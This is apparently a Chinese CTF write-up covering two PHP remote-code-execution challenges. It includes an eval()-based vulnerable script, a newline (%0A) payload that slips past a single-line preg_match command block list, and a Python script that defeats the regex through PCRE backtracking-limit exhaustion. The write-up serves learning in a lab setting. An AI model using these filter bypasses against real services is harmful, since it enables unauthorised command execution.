BUU CTF RCE类

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0); 
if(isset($_GET['code'])){ 
    $code=$_GET['code']; 
        if(strlen($code)>40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
        @eval($code);
}
else{
        highlight_file(__FILE__);
}

给了源码,是一个rce绕过的题,限制了传入的字符数且正则过滤了字母数字

遍历百度:

PHP正则绕过的各种姿势 下午一直在看这个题,把隔壁XXE的题出了以后看看这个

 

[FBCTF2019]RCEService

这个题挺难的(我认为),需要json传入命令

打开以后就是一个系统命令执行框

百度一下json格式的系统命令

遍历百度,穿入其格式下的cmd

{“cmd”:”ls”}

有正常回显

找到源码后,发现其过滤了一吨函数

preg_match
('/^.*alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json))

我们可以知道,perg_match只能检测一行,我们使用%0A换行

{%0A”cmd”:”/bin/cat /home/rceservice/flag”%0A}

读取到flag

这里还要注意,因为更改了path文件导致cat命令不能直接使用,所以我们使用绝对目录的cat

其还有一个预期解法:

pcre回溯次数限制绕过

正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配

参考:PHP利用PCRE回溯次数限制绕过某些安全限制

1
2
3
4
5
6
7
import requests
 
url='http://576d1abc-72f4-4650-9c9e-c839bf399c7f.node3.buuoj.cn/'
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
 
r = requests.post(url, data={"cmd":payload})
print(r.text)

也可以得到flag

发表评论

邮箱地址不会被公开。 必填项已用*标注